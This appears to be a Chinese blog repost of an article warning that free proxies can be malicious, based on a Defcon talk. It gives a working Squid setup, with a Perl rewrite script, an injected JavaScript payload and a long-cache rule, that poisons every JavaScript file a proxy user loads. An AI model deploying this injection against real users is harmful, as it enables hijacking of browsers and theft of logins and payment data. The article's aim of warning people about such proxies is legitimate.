`
MauerSu
  • 浏览: 513569 次
  • 性别: Icon_minigender_1
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

为什么免费代理是“免费”的?

 
阅读更多
源:http://blog.jobbole.com/87970/
评:
【伯乐在线注】:原文副标题是“因为这是一种轻松搞到成千上万用户数据的途径”,作者后来还写了一篇文章《分析了443个免费代理,其中只有21%没有黑幕,那么剩下的79%呢?》。

最近偶然发现, Chema Alonso 在 Defcon 20 会议上谈到他如何从头开始创建一个JavaScript 僵尸网络,然后如何使用它来找到骗子和黑客。

一切都是通过一个 SQUID 代理并修改了些小配置完成的。

这个想法非常简单:

1.【服务器】在一台 linux 服务器上安装 Squid

2.【Payload】修改服务器配置,给所有传输的 javascript 文件插入一些代码,这些代码的作用就是将用户数据传送到你的服务器上,比如用户在表单中输入的所有数据。

3.【缓存】将修改过的 js 文件的缓存时间尽可能延长。
可能发生的最坏事情是什么?

当某人能强迫你加载一个受感染的 JS 文件, 那他们可以:

    窃取你访问的网站的登录信息(从登录表单中或 cookies)
    窃取你的银行账号或信用卡信息
    强迫你参与 DDOS 攻击,让你的浏览器一秒钟内加载一个网站几百次,通过 iframe 或 script(脚本)来发送请求。
    基本你上网做的任何事情都能看到(包括你阅读时鼠标的位置)

https

如果你的网站加载了一些不安全的资源(比如从一个 http 站点加载 jquery),那该手法在 https 链接上也能生效。大多数浏览器都会提醒你,有些甚至会阻止你访问不安全的内容,但是没有人注意到浏览器地址栏中“锁”的符号。
举个例子

安全:a1279bf58d

不安全:9f0d9fc0ce

在介绍中,Chema 说他将修改过的服务器 IP 地址发布到网络上,几天后就有 5000 多人使用这个代理。大多数使用代理的人都是为了做坏事,因为他们都知道使用了代理在网络上就变成匿名了,似乎许多人都没有考虑过这个问题:代理同样也可以对他们做一些坏事。

我在想是不是真的那么简单,所以我建了一个运行 Debian(Linux的一个发行版) 的虚拟机,然后努力实现这些概念。
编写自己的 js 来感染代理

假设你有一个运行 squid 的代理,同时你还需要一个网站服务器,如使用 /var/www 为根目录(默认设置)的 Apache 服务器。
步骤1:创建一个 payload

我打算用一个简单的脚本获取网页上所有的链接,然后将 href(链接) 属性改写成我的站点。

/etc/squid/payload.js
1
2

for(var i=0;i<document.getElementsByTagName('a').length;i++)
   document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
步骤2:将脚本注入所有请求的 js 文件中。

/etc/squid/poison.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#!/usr/bin/perl

$|=1;
$count = 0;
$pid = $$;

while(<>)
{
  chomp $_;
  if($_ =- /(.*.js)/i)
  {
        $url = $1;
        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.jsn";
  }
  else
  {
        print "$_n";
  }
$count++;
}

这个脚本会用 wget 检索到客户端请求的原来的 javascript 文件,然后将 /etc/squid/payload.js 文件中的代码增加进去。这个修改的文件(包含我们的有效负载)将被发送给客户端。你也可以创建文件夹 /var/www/tmp ,然后允许 squid 在该文件夹中写入。这个文件夹可以存放所有被修改过的 js 脚本。
步骤3:告诉 Squid 使用上文中的脚本

在 /etc/squid/squid.conf 中添加
1

url_rewrite_program /etc/squid/poison.pl
步骤4:让缓存永不过期

/var/www/tmp/.htaccess
1
2

ExpiresActive On
ExpiresDefault "access plus 3000 days"

这几行告诉 apache 服务器,设置一个疯狂的过期(缓存)时间,所以它会一直存在用户的浏览器中,直到他们清除缓存或 cookies。

重启下 squid 就能运行了。如果你连接到代理上,然后浏览网页,网页会显示预期的内容,但是所有的链接会被指向这个博客。这项技术更猥琐的是,当你断开了与代理的连接,从代理缓存的 js 文件仍存在浏览的缓存中。

在我的例子中 payload 不太具有破坏性,用户很快就能理解什么是“钓鱼”,但是富有创造性的 payload 或像 Beef 类似的框架就能被用来实现各种各样的东西。告诉你的朋友们,绝不要使用免费的代理,因为许多代理就做这些坏事情。

安全上网(但不要使用免费的代理)
分享到:
评论

相关推荐

    免费的10个代理

    在IT领域,代理服务器是一种非常重要的工具,它们可以为用户提供匿名访问...总之,免费代理在一定程度上为用户提供了便捷的服务,但同时也存在一定的局限性和风险。用户在选择使用免费代理服务时应权衡利弊,谨慎决定。

    免费IP代理工具免费版

    免费IP代理工具免费版可以一键获取代理绝对免费

    免费的一键设置代理

    标题“免费的一键设置代理”指的是一个自动化工具,主要用于简化网络配置中的代理设置过程。这个工具特别适合那些需要频繁切换代理服务器或者不熟悉手动配置代理的用户。它通过批处理脚本实现,使得用户能够快速地在...

    非常代理(免费网页代理软件)

    很好的免费代理工具,亲测可用,而且免费,小巧,免安装

    爬虫个代理池主要是免费的代理

    总的来说,使用免费的代理池可以有效应对爬虫过程中IP被封的问题,但需要注意的是,频繁更换代理可能会影响爬取速度,同时免费代理的稳定性和可用性往往不如付费代理。因此,在实际应用中,需要根据项目需求和资源...

    java实现免费代理IP的获取方式 并实时校验代理IP是否有效

    Java 实现免费代理IP的获取方式 并动态实时校验是否有效,java文件项目内含有Jsoup的Jar包(Jsoup是加工过的,含请求),有2个主入口程序: 其一:用于请求代理IP,并立即校验是否是一个有效的代理IP,如果有效,...

    免费代理使用和维护主要用于爬虫

    这是做爬虫的免费代理池,主要是抓取网站上的免费代理

    代理超人,提供免费代理

    免费代理软件,提供众多免费代理地址,有智能切换模式~~

    IP代理搜索器-自动搜索网上的免费代理

    现在许多人常用QQ(MSN/ICQ)上网聊天,但有时候在办公室或公司内部无法使用,...使用简单,功能强大,自动搜索网上的免费代理 采用多线程技术,一分钟内验证上百条代理 是您网络畅游的好帮手。 更多原创软件www.penwa.cn

    非常代理1.21免费软件

    非常代理是一款完全免费的非常好用的qq、浏览器代理服务器工具,适用于各种常用的浏览器(IE内核,非IE内核)以及具有代理功能的网络程序或游戏。该代理服务器软件界面简洁,操作便利,能够支持按省、市查找代理...

    免费代理ip获取验证器(网络自由行) v2.1 免费版

    【标题】:“免费代理ip获取验证器(网络自由行) v2.1 免费版”是一款用于获取和验证免费代理IP的软件工具,旨在帮助用户实现网络的匿名浏览和提高网络访问速度。该版本为v2.1,提供免费使用。 【描述】:这个软件...

    免费IP代理器

    免费IP代理器 可以自动获取代理IP 一键设置IP代理,完全免费的!

    免费代理IP

    标题与描述中的“免费代理IP”指的是互联网上可公开获取的代理服务器的IP地址及其端口号。代理IP在网络安全、数据抓取、网络访问控制等领域扮演着重要角色。以下是对这一知识点的详细解析: ### 一、代理IP的概念 ...

    免费的代理ip,

    ### 免费代理IP知识点详解 #### 一、代理IP简介 代理IP是一种网络服务,通过使用特定的服务器地址和端口,用户可以隐藏自己真实的IP地址,从而达到访问网络资源的目的。代理IP广泛应用于爬虫开发、匿名浏览、地区...

    python抓取免费代理IP

    本项目提供了一套完整的解决方案,利用Python来抓取免费代理IP,并将其存储到MySQL数据库中,同时实现定期检查和排除失效的IP,构建自定义的代理IP池。 1. **Python抓取免费代理IP** `get_ips.py` 文件很可能是...

    IE代理超级版 (免费)

    【IE代理超级版 (免费)】是一款专为用户简化网络代理设置的软件,尤其适合对电脑操作不熟悉的新手。该软件提供了用户友好的界面和便捷的功能,使得无论是专业人士还是初学者,都能轻松地管理自己的IE浏览器代理...

    免费代理IP挖掘工具

    综上所述,这个“免费代理IP挖掘工具”提供了一站式的解决方案,从批量获取代理IP到数据导出,再到安装和使用说明,为用户提供了极大的便利。对于需要大量代理IP的用户来说,是一个值得尝试的实用工具。

    代理超人可以提供免费代理IP自动换IP

    代理超人的核心价值在于它能为用户免费提供这些IP资源,这对于预算有限或者偶尔需要代理IP服务的个人或小型企业来说,是一个非常经济的选择。 自动换IP是代理超人的另一大亮点。在需要频繁切换IP的场景下,手动更换...

    windows平台免费的snmp代理

    标题中的“Windows平台免费的SNMP代理”指的是在Windows操作系统上可以使用的,无需付费的SNMP(简单网络管理协议)代理软件。SNMP是网络管理的标准协议,用于监控和管理网络设备,如路由器、交换机、服务器等。免费...

Global site tag (gtag.js) - Google Analytics